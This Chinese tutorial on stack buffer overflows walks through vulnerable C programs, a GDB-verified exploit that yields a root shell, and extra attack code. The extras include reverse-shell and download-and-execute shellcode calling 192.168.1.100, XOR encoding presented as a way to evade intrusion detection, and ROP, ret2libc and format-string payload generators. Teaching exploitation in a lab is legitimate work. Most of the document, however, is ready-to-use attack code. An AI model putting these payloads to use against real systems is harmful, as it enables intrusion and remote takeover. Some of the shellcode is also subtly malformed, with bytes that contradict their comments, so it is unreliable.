缓冲区溢出基础原理
什么是缓冲区溢出
缓冲区溢出是一种常见的软件安全漏洞,发生在程序向固定大小的缓冲区写入超过其容量的数据时。这种漏洞可能导致:
- 内存损坏:覆盖相邻的内存区域
- 程序崩溃:破坏程序的正常执行流程
- 代码执行:攻击者可能获得程序的控制权
C语言中的内存布局
在C程序中,内存通常分为以下几个区域:
1高地址
2+------------------+
3| 栈区 | ← 函数调用、局部变量
4| ↓ |
5+------------------+
6| ... |
7+------------------+
8| ↑ |
9| 堆区 | ← 动态分配内存
10+------------------+
11| BSS段(未初始化) |
12+------------------+
13| Data段(已初始化) |
14+------------------+
15| 代码段 |
16+------------------+
17低地址栈帧结构
每次函数调用都会在栈上创建一个栈帧:
1高地址
2+------------------+
3| 函数参数 |
4+------------------+
5| 返回地址 | ← 关键攻击目标
6+------------------+
7| 保存的EBP |
8+------------------+
9| 局部变量 | ← 缓冲区位置
10+------------------+
11低地址当缓冲区溢出时,数据可能覆盖返回地址,从而控制程序执行流程。
漏洞代码分析
目标程序代码
1#include <stdio.h>
2#include <string.h>
3
4int copy(char *str) {
5 char buffer[100]; // 100字节的局部缓冲区
6 // unsafe!
7 strcpy(buffer, str); // 危险的字符串复制操作
8 return 0; // 添加返回值
9}
10
11int main(int argc, char *argv[]) {
12 copy(argv[1]); // 将命令行参数传递给copy函数
13 return 0;
14}漏洞分析
这个简单的C程序包含了一个典型的缓冲区溢出漏洞:
- 脆弱点:
strcpy(buffer, str)函数不检查源字符串的长度 - 缓冲区大小:
buffer数组只有100字节 - 攻击向量:如果
argv[1]超过100字节,就会发生溢出 - 影响范围:溢出的数据会覆盖栈上的其他数据,包括返回地址
内存布局分析
当 copy 函数被调用时,栈的布局大致如下:
1高地址
2+------------------+
3| argv[1] 指针 | ← main函数的参数
4+------------------+
5| copy返回地址 | ← 攻击目标!
6+------------------+
7| 保存的EBP |
8+------------------+
9| buffer[99] |
10| buffer[98] |
11| ... | ← 100字节缓冲区
12| buffer[1] |
13| buffer[0] | ← ESP指向附近
14+------------------+
15低地址当输入数据超过100字节时,多余的数据会覆盖保存的EBP和返回地址。
扩展漏洞示例
为了更好地理解缓冲区溢出的多样性,我们来看几个其他类型的原创漏洞示例。这些示例与现实中的CVE漏洞具有相似的攻击模式:
示例2:用户认证系统漏洞(类似CVE-2024-28219模式)
1#include <stdio.h>
2#include <string.h>
3#include <stdlib.h>
4
5typedef struct {
6 char username[32];
7 char password[32];
8 int is_admin;
9} UserCredentials;
10
11int authenticate_user(const char* user_input, const char* pass_input) {
12 UserCredentials creds;
13 creds.is_admin = 0; // 默认非管理员权限
14
15 // 危险的字符串复制 - 可能溢出覆盖is_admin字段
16 strcpy(creds.username, user_input);
17 strcpy(creds.password, pass_input);
18
19 printf("用户名: %s\n", creds.username);
20 printf("管理员权限: %s\n", creds.is_admin ? "是" : "否");
21
22 return creds.is_admin;
23}
24
25int main(int argc, char *argv[]) {
26 if (argc != 3) {
27 printf("用法: %s <用户名> <密码>\n", argv[0]);
28 return 1;
29 }
30
31 if (authenticate_user(argv[1], argv[2])) {
32 printf("🔓 获得管理员权限!\n");
33 system("/bin/sh");
34 } else {
35 printf("❌ 认证失败\n");
36 }
37
38 return 0;
39}漏洞分析:
- 结构体布局:
username和password字段紧邻is_admin字段 - 溢出点:超长的用户名可以覆盖
is_admin字段,类似CVE-2024-28219的strcpy边界检查缺失 - 攻击效果:将
is_admin从0覆盖为非零值,获得管理员权限 - 现实对应:此类漏洞在身份认证系统中很常见,攻击者通过精确控制输入长度来修改关键标志位
示例3:网络数据处理漏洞(类似CVE-2023-6549模式)
1#include <stdio.h>
2#include <string.h>
3#include <stdint.h>
4
5typedef struct {
6 uint32_t packet_length;
7 char data_buffer[256];
8 void (*process_callback)(char*);
9} NetworkPacket;
10
11void safe_handler(char* data) {
12 printf("安全处理: %s\n", data);
13}
14
15void dangerous_handler(char* data) {
16 printf("🚨 危险处理函数被调用!\n");
17 system(data);
18}
19
20int process_network_data(const char* raw_data, uint32_t length) {
21 NetworkPacket packet;
22 packet.process_callback = safe_handler; // 默认安全处理函数
23
24 printf("处理长度为 %u 的数据包\n", length);
25
26 // 潜在的整数溢出和缓冲区溢出
27 if (length > 0 && length < 512) { // 看似安全的检查
28 memcpy(packet.data_buffer, raw_data, length);
29 packet.process_callback(packet.data_buffer);
30 }
31
32 return 0;
33}
34
35int main(int argc, char *argv[]) {
36 if (argc != 2) {
37 printf("用法: %s <数据>\n", argv[0]);
38 return 1;
39 }
40
41 uint32_t data_len = strlen(argv[1]);
42 process_network_data(argv[1], data_len);
43
44 return 0;
45}漏洞分析:
- 函数指针覆盖:超长数据可以覆盖
process_callback函数指针 - 长度检查绕过:使用无符号整数比较可能被绕过,类似CVE-2022-0185的整数下溢
- 攻击向量:精心构造的输入可以将函数指针指向
dangerous_handler - 现实对应:此模式在网络协议处理中常见,CVE-2023-6549就是通过类似方式触发NetScaler的缓冲区溢出
编译设置与环境准备
编译参数解析
1# 编译漏洞程序
2gcc -m32 -std=c99 -g -fno-stack-protector -z execstack -no-pie -o vul vul.c各个编译参数的作用:
-m32: 生成32位可执行文件,简化内存地址计算-std=c99: 使用C99标准编译-g: 包含调试信息,便于使用GDB调试-fno-stack-protector: 禁用栈保护机制(canary)-z execstack: 允许栈区域可执行,使shellcode能够运行-no-pie: 禁用位置无关可执行文件,固定程序加载地址
系统安全机制配置
1# 禁用地址空间随机化(ASLR)
2root@softsec2:/home/toor/sample# echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
30ASLR(Address Space Layout Randomization):
- 正常情况下,每次程序运行时内存地址都会随机化
- 禁用ASLR使得栈地址、堆地址、库地址变得可预测
- 这样攻击者可以准确计算跳转地址
漏洞利用过程
第一步:确定溢出点
1#!/usr/bin/python3
2# exploit_step1.py - 测试基本溢出
3import sys
4
5# 发送112个'A'字符 + 4个'B'字符
6# 112字节填充缓冲区,4字节覆盖返回地址
7sys.stdout.buffer.write(b'A' * 112 + b'B' * 4)原理解析:
- 112个'A': 填充100字节缓冲区 + 12字节填充(对齐和保存的EBP)
- 4个'B': 覆盖4字节的返回地址
- 当程序尝试返回时,会跳转到地址
0x42424242('BBBB'的十六进制表示)
测试运行结果
1# 生成攻击载荷
2python3 exploit_step1.py > payload1
3
4# 运行测试
5./vul $(cat payload1)如果成功,程序会因为尝试跳转到无效地址 0x42424242 而崩溃,这证明我们已经控制了程序的执行流程。
1(gdb) list
2warning: Source file is more recent than executable.
31 #include <stdio.h>
42 #include <string.h>
53 int copy(char *str) {
64 char buffer[100];
75 // unsafe!
86 strcpy(buffer, str);
97 }
108 int main(int argc, char *argv[]) {
119 copy(argv[1]);
1210 return 0;
13(gdb) b 6
14Breakpoint 1 at 0x8049187: file vul.c, line 6.
15(gdb) run $(cat out_boom)
16Starting program: /home/toor/sample/vul $(cat out_boom)
17[Thread debugging using libthread_db enabled]
18Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
19
20Breakpoint 1, copy (str=0xffffdf42 'A' <repeats 112 times>, "BBBB") at vul.c:6
216 strcpy(buffer, str);
22(gdb) n
237 }
24(gdb) x/x $esp
250xffffdcd0: 0xf7ffd000
26(gdb) x/40x $esp
270xffffdcd0: 0xf7ffd000 0x00000020 0x00000000 0x41414141
280xffffdce0: 0x41414141 0x41414141 0x41414141 0x41414141
290xffffdcf0: 0x41414141 0x41414141 0x41414141 0x41414141
300xffffdd00: 0x41414141 0x41414141 0x41414141 0x41414141
310xffffdd10: 0x41414141 0x41414141 0x41414141 0x41414141
320xffffdd20: 0x41414141 0x41414141 0x41414141 0x41414141
330xffffdd30: 0x41414141 0x41414141 0x41414141 0x41414141
340xffffdd40: 0x41414141 0x41414141 0x41414141 0x42424242
350xffffdd50: 0xffffdf00 0xf7fbe66c 0xf7fbeb10 0x080491b7
360xffffdd60: 0x00000001 0xffffdd80 0xf7ffd020 0xf7da7519
37(gdb) c
38Continuing.
39
40Program received signal SIGSEGV, Segmentation fault.
410x42424242 in ?? ()第一步测试成功分析:
- 输入数据确认:GDB显示传入的字符串是112个'A'字符加4个'B'字符
- 内存覆盖验证:
0xffffdcd0-0xffffdd40: 大量的0x41414141('AAAA')填充了缓冲区和相邻内存0xffffdd40: 最后4字节被0x42424242('BBBB')覆盖,这正是函数的返回地址位置
- 攻击效果确认:
- 程序尝试返回到地址
0x42424242,这不是有效的内存地址 - 系统产生段错误(SIGSEGV),程序崩溃
- 这证明我们成功控制了程序的执行流程
- 程序尝试返回到地址
这个测试确认了:
- 溢出点的准确位置:112字节填充 + 4字节返回地址覆盖
- 我们可以精确控制 EIP 寄存器的值
- 接下来可以将
0x42424242替换为指向shellcode的实际地址
第二步:构造攻击载荷
NOP滑行技术(NOP Sled)
NOP(No Operation)是一个汇编指令(机器码:\x90),执行时不做任何操作,只是让程序计数器递增。NOP滑行是一种提高攻击成功率的技术:
1#!/usr/bin/python3
2# exploit_final.py - 完整攻击载荷
3import sys
4
5# NOP滑行:64字节的NOP指令
6# 作用:即使跳转地址不够精确,也能"滑行"到shellcode
7nopsled = b'\x90' * 64
8
9# Shellcode:获取root权限并执行shell
10shellcode = (
11 b'\x31\xc0\x89\xc3\xb0\x17\xcd\x80' + # setuid(0) 系统调用
12 b'\x31\xd2\x52\x68\x6e\x2f\x73\x68' + # 构造"/bin/sh"字符串
13 b'\x68\x2f\x2f\x62\x69\x89\xe3\x52' + # 继续构造字符串
14 b'\x53\x89\xe1\x8d\x42\x0b\xcd\x80' # execve("/bin/sh") 系统调用
15)
16
17# 计算填充字节数:总长度112 - NOP滑行64 - shellcode长度32 = 16
18padding = b'A' * (112 - 64 - 32)
19
20# 返回地址:跳转到NOP滑行区域的某个位置
21eip = b"\xF0\xDC\xFF\xFF" # 栈上的一个地址
22
23# 组装最终载荷:NOP滑行 + shellcode + 填充 + 返回地址
24sys.stdout.buffer.write(nopsled + shellcode + padding + eip)Shellcode分析
这段shellcode的功能是获取root权限并启动shell:
setuid(0): 将当前进程的用户ID设置为0(root)- 字符串构造: 在栈上构造"/bin/sh"字符串
execve("/bin/sh"): 执行shell程序
机器码解析:
\x31\xc0:xor eax, eax- 将EAX清零\x89\xc3:mov ebx, eax- 将EBX设置为0\xb0\x17:mov al, 0x17- setuid系统调用号(23)\xcd\x80:int 0x80- 触发系统调用
扩展Shellcode分析
除了基本的shell启动shellcode,攻击者还可能使用其他类型的载荷。以下是几种常见的shellcode变体:
反向连接Shellcode
这种shellcode建立到攻击者控制服务器的连接:
1# 反向连接shellcode (连接到192.168.1.100:4444)
2reverse_shell = (
3 b'\x31\xc0\x31\xdb\x31\xc9\x31\xd2' + # 清空寄存器
4 b'\xb0\x66\xb3\x01\x51\x53\x6a\x02' + # socket(AF_INET, SOCK_STREAM, 0)
5 b'\x89\xe1\xcd\x80\x89\xc6\xb0\x66' + # 调用系统调用,保存socket fd
6 b'\xb3\x03\x68\x64\x01\xa8\xc0\x66' + # 构造sockaddr结构 (IP: 192.168.1.100)
7 b'\x68\x11\x5c\x66\x53\x89\xe1\x6a' + # 端口4444, AF_INET
8 b'\x10\x51\x56\x89\xe1\xcd\x80\x31' + # connect()系统调用
9 b'\xc9\xb1\x03\xb0\x3f\x49\x89\xf3' + # 循环dup2() 重定向stdin/stdout/stderr
10 b'\xcd\x80\x75\xf8\x31\xc0\x50\x68' + #
11 b'\x2f\x2f\x73\x68\x68\x2f\x62\x69' + # 构造"/bin/sh"字符串
12 b'\x89\xe3\x50\x53\x89\xe1\xb0\x0b' + # execve("/bin/sh")
13 b'\xcd\x80' # 执行shell
14)反向连接shellcode分析:
- 创建socket:使用
socket()系统调用创建TCP连接 - 连接攻击者:连接到指定IP地址和端口
- 重定向IO:将stdin/stdout/stderr重定向到socket
- 执行shell:启动shell,实现远程控制
下载执行Shellcode
这种shellcode从远程服务器下载并执行文件:
1# 下载执行shellcode示例
2download_exec = (
3 b'\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68' + # execve准备
4 b'\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x2d\x63' + # "/bin/sh", "-c"参数
5 b'\x00\x00\x89\xe6\x52\x68\x67\x65\x74\x20\x68' + # "wget "命令
6 b'\x77\x67\x65\x74\x20\x89\xe7\x52\x68\x74\x70' + # 构造wget命令
7 b'\x3a\x2f\x2f\x68\x68\x74\x74\x70\x3a\x2f\x2f' + # "http://"
8 b'\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x2e\x31' + # IP地址字符串
9 b'\x30\x30\x2f\x6d\x61\x6c\x77\x61\x72\x65\x20' + # "/malware "
10 b'\x26\x26\x20\x63\x68\x6d\x6f\x64\x20\x2b\x78' + # "&& chmod +x"
11 b'\x20\x6d\x61\x6c\x77\x61\x72\x65\x20\x26\x26' + # " malware &&"
12 b'\x20\x2e\x2f\x6d\x61\x6c\x77\x61\x72\x65' # " ./malware"
13)无文件攻击Shellcode
直接在内存中执行代码,不留下文件痕迹:
1// 内存执行shellcode框架
2char memory_exec_template[] =
3 // 分配可执行内存
4 "\x31\xc0\x31\xdb\x31\xc9\x31\xd2" // 清空寄存器
5 "\xb8\x7d\x00\x00\x00" // mmap系统调用号
6 "\x31\xdb" // addr = NULL
7 "\xb9\x00\x10\x00\x00" // length = 4096
8 "\xba\x07\x00\x00\x00" // prot = PROT_READ|WRITE|EXEC
9 "\xbe\x22\x00\x00\x00" // flags = MAP_PRIVATE|ANONYMOUS
10 "\xbf\xff\xff\xff\xff" // fd = -1
11 "\x31\xed" // offset = 0
12 "\xcd\x80" // int 0x80
13
14 // 将后续代码复制到新分配的内存
15 "\x89\xc3" // 保存mmap返回的地址
16 "\x31\xc9" // 清空计数器
17 "\xeb\x0c" // 跳到payload
18
19 // 这里插入实际的payload代码...
20 ;Shellcode编码技术
为了绕过入侵检测系统,shellcode通常需要编码:
1def xor_encode_shellcode(shellcode, key=0xAA):
2 """简单的XOR编码示例"""
3 encoded = bytearray()
4 for byte in shellcode:
5 encoded.append(byte ^ key)
6
7 # 添加解码stub
8 decoder_stub = (
9 b'\xeb\x11' # jmp short 0x13 (跳过编码数据)
10 b'\x5e' # pop esi (获取shellcode地址)
11 b'\x31\xc9' # xor ecx, ecx (清空计数器)
12 b'\xb1' + bytes([len(encoded)]) # mov cl, <length>
13 b'\x80\x36' + bytes([key]) # xor byte ptr [esi], <key>
14 b'\x46' # inc esi
15 b'\xe2\xfb' # loop 解码循环
16 b'\xeb\x05' # jmp short +5 (跳到解码后的shellcode)
17 b'\xe8\xea\xff\xff\xff' # call 回到解码器
18 )
19
20 return decoder_stub + encoded
21
22# 使用示例
23original_shellcode = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'
24encoded = xor_encode_shellcode(original_shellcode)Shellcode检测与防护
理解shellcode的工作原理有助于实施有效的防护措施:
特征检测
1def detect_shellcode_patterns(data):
2 """检测常见的shellcode模式"""
3 suspicious_patterns = [
4 b'\x31\xc0', # xor eax, eax
5 b'\xcd\x80', # int 0x80
6 b'\x2f\x62\x69\x6e', # "/bin"
7 b'\x2f\x73\x68', # "/sh"
8 b'\x90' * 10, # NOP sled
9 ]
10
11 detections = []
12 for pattern in suspicious_patterns:
13 if pattern in data:
14 detections.append(f"检测到可疑模式: {pattern.hex()}")
15
16 return detectionsGDB调试分析
设置断点并运行
1
2(gdb) list
3warning: Source file is more recent than executable.
41 #include <stdio.h>
52 #include <string.h>
63 int copy(char *str) {
74 char buffer[100];
85 // unsafe!
96 strcpy(buffer, str);
107 }
118 int main(int argc, char *argv[]) {
129 copy(argv[1]);
1310 return 0;
14
15# 在strcpy函数处设置断点
16(gdb) b 6
17Breakpoint 1 at 0x8049187: file vul.c, line 6.
18
19# 使用攻击载荷运行程序
20(gdb) run $(python3 exploit_final.py)
21Starting program: /home/toor/sample/vul $(python3 exploit_final.py)
22[Thread debugging using libthread_db enabled]
23Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
24
25Breakpoint 1, copy (str=0xffffdf42 '\220' <repeats 64 times>, "\061\300\211\303\260\027\315\200\061\322Rhn/shh//bi\211\343RS\211\341\215B\v\315\200", 'A' <repeats 16 times>, "\360\334\377\377") at vul.c:6
266 strcpy(buffer, str);
27
28# 执行strcpy操作
29(gdb) n
307 }
31
32**调试信息解读**:
33- GDB显示了传入的字符串内容,可以看到NOP滑行(`\220` 重复64次)
34- 接着是shellcode的机器码
35- 然后是填充字符'A'(16个)
36- 最后是返回地址`\360\334\377\377`
37
38### 内存状态分析
39
40```bash
41# 检查栈指针位置
42(gdb) x/x $esp
430xffffdcd0: 0xf7ffd000
44
45# 查看栈上的40个32位字(160字节)
46(gdb) x/40x $esp
470xffffdcd0: 0xf7ffd000 0x00000020 0x00000000 0x90909090
480xffffdce0: 0x90909090 0x90909090 0x90909090 0x90909090
490xffffdcf0: 0x90909090 0x90909090 0x90909090 0x90909090
500xffffdd00: 0x90909090 0x90909090 0x90909090 0x90909090
510xffffdd10: 0x90909090 0x90909090 0x90909090 0xc389c031
520xffffdd20: 0x80cd17b0 0x6852d231 0x68732f6e 0x622f2f68
530xffffdd30: 0x52e38969 0x8de18953 0x80cd0b42 0x41414141
540xffffdd40: 0x41414141 0x41414141 0x41414141 0xffffdcf0
550xffffdd50: 0xffffdf00 0xf7fbe66c 0xf7fbeb10 0x080491b7
560xffffdd60: 0x00000001 0xffffdd80 0xf7ffd020 0xf7da7519内存分析详解:
-
NOP滑行区域 (
0xffffdcd0-0xffffdd18):- 大量的
0x90909090表示NOP指令 - 这为攻击提供了较大的目标区域
- 大量的
-
Shellcode区域 (
0xffffdd18-0xffffdd38):0xc389c031: shellcode开始部分 (xor eax,eax; mov ebx,eax)0x80cd17b0:mov al,0x17; int 0x80(setuid系统调用)0x6852d231-0x80cd0b42: execve系统调用相关代码
-
填充区域 (
0xffffdd38-0xffffdd48):0x41414141: 填充字符'A'
-
返回地址覆盖 (
0xffffdd48):0xffffdcf0: 这是我们设置的返回地址,指向NOP滑行区域
执行攻击载荷
1# 继续执行程序
2(gdb) c
3Continuing.
4
5# 程序成功执行shellcode,启动了新的shell
6process 10920 is executing new program: /usr/bin/dash
7Error in re-setting breakpoint 1: No source file named /home/toor/sample/vul.c.
8[Thread debugging using libthread_db enabled]
9Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
10
11# 测试权限 - 成功获得root权限!
12# whoami
13[Detaching after vfork from child process 10982]
14root攻击成功分析:
- 程序从
copy函数返回时,跳转到了我们设置的地址0xffffdcf0 - 该地址指向NOP滑行区域,处理器执行一系列NOP指令
- "滑行"到shellcode区域后,开始执行我们的恶意代码
- Shellcode成功调用
setuid(0)和execve("/bin/sh") - 最终获得了root权限的shell
扩展漏洞利用技术
除了基本的栈溢出利用,还有多种高级的攻击技术值得研究:
ROP (Return-Oriented Programming) 攻击
当栈不可执行时,可以使用ROP技术链接现有代码片段:
1#!/usr/bin/python3
2# rop_exploit.py - ROP链攻击示例
3
4import struct
5
6class ROPGadget:
7 """ROP gadget管理类"""
8 def __init__(self):
9 # 从程序或库中找到的有用gadgets
10 self.gadgets = {
11 'pop_eax_ret': 0x080483d1, # pop eax; ret
12 'pop_ebx_ret': 0x080483d2, # pop ebx; ret
13 'pop_ecx_ret': 0x080483d3, # pop ecx; ret
14 'pop_edx_ret': 0x080483d4, # pop edx; ret
15 'int_0x80': 0x080483d5, # int 0x80; ret
16 'xor_eax_ret': 0x080483d6, # xor eax, eax; ret
17 'bin_sh_addr': 0x080484a0, # "/bin/sh"字符串地址
18 }
19
20 def build_execve_chain(self):
21 """构造execve("/bin/sh", NULL, NULL)的ROP链"""
22 rop_chain = []
23
24 # 设置 eax = 11 (execve系统调用号)
25 rop_chain.extend([
26 self.gadgets['xor_eax_ret'], # eax = 0
27 self.gadgets['pop_eax_ret'], # 准备设置eax
28 11 # execve系统调用号
29 ])
30
31 # 设置 ebx = "/bin/sh"地址
32 rop_chain.extend([
33 self.gadgets['pop_ebx_ret'], # 准备设置ebx
34 self.gadgets['bin_sh_addr'] # "/bin/sh"字符串地址
35 ])
36
37 # 设置 ecx = 0 (argv)
38 rop_chain.extend([
39 self.gadgets['pop_ecx_ret'], # 准备设置ecx
40 0 # NULL
41 ])
42
43 # 设置 edx = 0 (envp)
44 rop_chain.extend([
45 self.gadgets['pop_edx_ret'], # 准备设置edx
46 0 # NULL
47 ])
48
49 # 执行系统调用
50 rop_chain.append(self.gadgets['int_0x80'])
51
52 return rop_chain
53
54def create_rop_payload():
55 """创建ROP攻击载荷"""
56 rop = ROPGadget()
57 chain = rop.build_execve_chain()
58
59 # 填充缓冲区
60 padding = b'A' * 112
61
62 # 转换ROP链为字节序列
63 rop_bytes = b''.join(struct.pack('<I', addr) for addr in chain)
64
65 return padding + rop_bytes
66
67# 生成攻击载荷
68payload = create_rop_payload()
69print(f"ROP载荷长度: {len(payload)} 字节")ret2libc攻击技术
直接调用系统库函数绕过NX保护:
1#!/usr/bin/python3
2# ret2libc_exploit.py - ret2libc攻击
3
4import struct
5import sys
6
7class Ret2LibcExploit:
8 def __init__(self):
9 # 需要通过调试或信息泄露获得这些地址
10 self.libc_base = 0xf7e00000 # libc基址
11 self.system_offset = 0x0003ada0 # system函数偏移
12 self.binsh_offset = 0x0015ba0b # "/bin/sh"字符串偏移
13 self.exit_offset = 0x0002e9d0 # exit函数偏移
14
15 def calculate_addresses(self):
16 """计算实际函数地址"""
17 return {
18 'system': self.libc_base + self.system_offset,
19 'bin_sh': self.libc_base + self.binsh_offset,
20 'exit': self.libc_base + self.exit_offset
21 }
22
23 def build_payload(self):
24 """构造ret2libc攻击载荷"""
25 addrs = self.calculate_addresses()
26
27 # 缓冲区填充
28 padding = b'A' * 112
29
30 # 构造调用链: system("/bin/sh"); exit(0);
31 payload = padding
32 payload += struct.pack('<I', addrs['system']) # 返回到system()
33 payload += struct.pack('<I', addrs['exit']) # system返回后调用exit()
34 payload += struct.pack('<I', addrs['bin_sh']) # system()的参数"/bin/sh"
35
36 return payload
37
38# 地址泄露辅助函数
39def leak_libc_address():
40 """
41 在实际攻击中,需要先泄露libc地址
42 这里仅作演示用途
43 """
44 # 示例:通过格式化字符串漏洞泄露地址
45 format_string_payload = b"AAAA" + b"%p " * 20
46 return format_string_payload
47
48# 使用示例
49exploit = Ret2LibcExploit()
50payload = exploit.build_payload()
51
52print(f"ret2libc载荷长度: {len(payload)} 字节")
53sys.stdout.buffer.write(payload)堆溢出利用示例
堆溢出攻击的基本概念:
1#!/usr/bin/python3
2# heap_overflow_demo.py - 堆溢出概念演示
3
4class HeapChunk:
5 """模拟堆块结构"""
6 def __init__(self, size, data=b''):
7 self.size = size
8 self.prev_size = 0
9 self.flags = 0
10 self.data = data[:size-8] # 减去头部8字节
11 self.fd = 0 # forward pointer
12 self.bk = 0 # backward pointer
13
14 def __repr__(self):
15 return f"Chunk(size={self.size}, data={self.data[:20]}...)"
16
17class HeapManager:
18 """简化的堆管理器"""
19 def __init__(self):
20 self.chunks = []
21 self.free_list = []
22
23 def malloc(self, size):
24 """分配内存块"""
25 # 8字节对齐
26 aligned_size = (size + 7) & ~7
27 chunk = HeapChunk(aligned_size + 8) # 加上头部
28 self.chunks.append(chunk)
29 return len(self.chunks) - 1 # 返回块索引
30
31 def free(self, chunk_id):
32 """释放内存块"""
33 if 0 <= chunk_id < len(self.chunks):
34 chunk = self.chunks[chunk_id]
35 self.free_list.append(chunk_id)
36 print(f"释放块 {chunk_id}: {chunk}")
37
38 def write_data(self, chunk_id, data):
39 """向块中写入数据"""
40 if 0 <= chunk_id < len(self.chunks):
41 chunk = self.chunks[chunk_id]
42 if len(data) <= len(chunk.data):
43 chunk.data = data
44 print(f"安全写入到块 {chunk_id}")
45 else:
46 # 溢出情况
47 chunk.data = data # 这里会溢出到相邻块
48 print(f"⚠️ 块 {chunk_id} 发生溢出!")
49 self.check_corruption()
50
51 def check_corruption(self):
52 """检查堆损坏"""
53 for i, chunk in enumerate(self.chunks):
54 if len(chunk.data) > chunk.size - 8:
55 print(f"🚨 检测到块 {i} 数据溢出")
56 if i + 1 < len(self.chunks):
57 next_chunk = self.chunks[i + 1]
58 print(f" 可能影响块 {i+1}: {next_chunk}")
59
60# 堆溢出演示
61def heap_overflow_demo():
62 """演示堆溢出攻击"""
63 heap = HeapManager()
64
65 # 分配两个相邻的块
66 chunk1 = heap.malloc(32)
67 chunk2 = heap.malloc(32)
68
69 print(f"分配块1 (ID: {chunk1})")
70 print(f"分配块2 (ID: {chunk2})")
71
72 # 正常写入
73 heap.write_data(chunk1, b"Normal data")
74 heap.write_data(chunk2, b"Another block")
75
76 print("\n--- 堆溢出攻击 ---")
77 # 溢出写入,覆盖下一个块
78 overflow_data = b"A" * 50 + b"OVERFLOW_DATA"
79 heap.write_data(chunk1, overflow_data)
80
81if __name__ == "__main__":
82 heap_overflow_demo()格式化字符串攻击
利用printf类函数的格式化字符串漏洞:
1#!/usr/bin/python3
2# format_string_exploit.py - 格式化字符串攻击
3
4def generate_format_string_payload(target_addr, value):
5 """
6 生成格式化字符串攻击载荷
7 将target_addr处的值修改为value
8 """
9 # 将目标地址分解为4个字节
10 addr_bytes = [
11 target_addr & 0xff,
12 (target_addr >> 8) & 0xff,
13 (target_addr >> 16) & 0xff,
14 (target_addr >> 24) & 0xff
15 ]
16
17 # 构造载荷
18 payload = b""
19
20 # 放置目标地址
21 for i in range(4):
22 payload += (target_addr + i).to_bytes(4, 'little')
23
24 # 构造格式化字符串
25 # 这是一个简化的示例,实际情况需要根据栈偏移调整
26 format_str = "AAAA"
27
28 # 使用%hhn写入单字节值
29 for i, byte_val in enumerate(value.to_bytes(4, 'little')):
30 if byte_val == 0:
31 format_str += f"%{8+i}$hhn"
32 else:
33 # 计算需要的填充
34 format_str += f"%{byte_val-4}c%{8+i}$hhn"
35
36 return payload + format_str.encode()
37
38def demo_format_vulnerability():
39 """演示格式化字符串漏洞"""
40 print("=== 格式化字符串漏洞演示 ===")
41
42 # 模拟易受攻击的C代码:
43 # char buffer[100];
44 # gets(buffer);
45 # printf(buffer); // 危险!用户输入直接作为格式字符串
46
47 # 信息泄露载荷
48 leak_payload = b"AAAA" + b"%p " * 10
49 print(f"信息泄露载荷: {leak_payload}")
50
51 # 地址写入载荷
52 target_addr = 0x08049680 # 假设的目标地址
53 new_value = 0x41414141 # 要写入的值
54
55 write_payload = generate_format_string_payload(target_addr, new_value)
56 print(f"地址写入载荷长度: {len(write_payload)} 字节")
57
58 return write_payload
59
60if __name__ == "__main__":
61 demo_format_vulnerability()总结与下篇预告
在本篇文章中,我们深入探讨了缓冲区溢出漏洞的基础原理和实战利用技术:
本篇要点回顾
- 基础原理:深入理解了栈的内存布局、函数调用机制和栈帧结构
- 漏洞分析:通过具体C代码示例分析了缓冲区溢出的成因和影响
- 实战利用:
- 学习了如何确定溢出点和构造攻击载荷
- 掌握了NOP滑行技术和shellcode的构造方法
- 了解了多种攻击技术:ROP、ret2libc、堆溢出等
- 调试技巧:使用GDB进行内存状态分析和漏洞验证
- 高级攻击:格式化字符串攻击、反向连接shellcode等扩展技术
实践技能收获
通过本篇学习,读者应当掌握:
- 识别C/C++代码中的潜在缓冲区溢出漏洞
- 使用调试工具分析内存布局和执行流程
- 构造基本的缓冲区溢出攻击载荷
- 理解现代攻击技术的演进过程
下篇预告:现代防护与实战案例
在下篇文章中,我们将深入探讨:
现代防护机制
- CISA安全指导与企业级防护实践
- 栈保护、ASLR、DEP等防护技术及其绕过方法
- 安全编程实践和代码审计技术
现实CVE漏洞案例
- CVE-2024-38812 (VMware vCenter Server堆溢出)
- CVE-2022-0185 (Linux内核权限提升)
- CVE-2023-6549 (Citrix NetScaler DoS)
- CVE-2024-28219 (Pillow库strcpy溢出)
漏洞检测与应急响应
- 自动化漏洞扫描和代码审计工具
- 企业应急响应流程和最佳实践
- 持续安全监控与威胁情报集成
现代语言安全对比
- Go语言如何从设计层面避免缓冲区溢出
- 内存安全的编程语言特性分析
下篇文章将结合真实的CVE案例,展示缓冲区溢出漏洞在现代环境中的实际威胁,并提供全面的防护策略。敬请关注!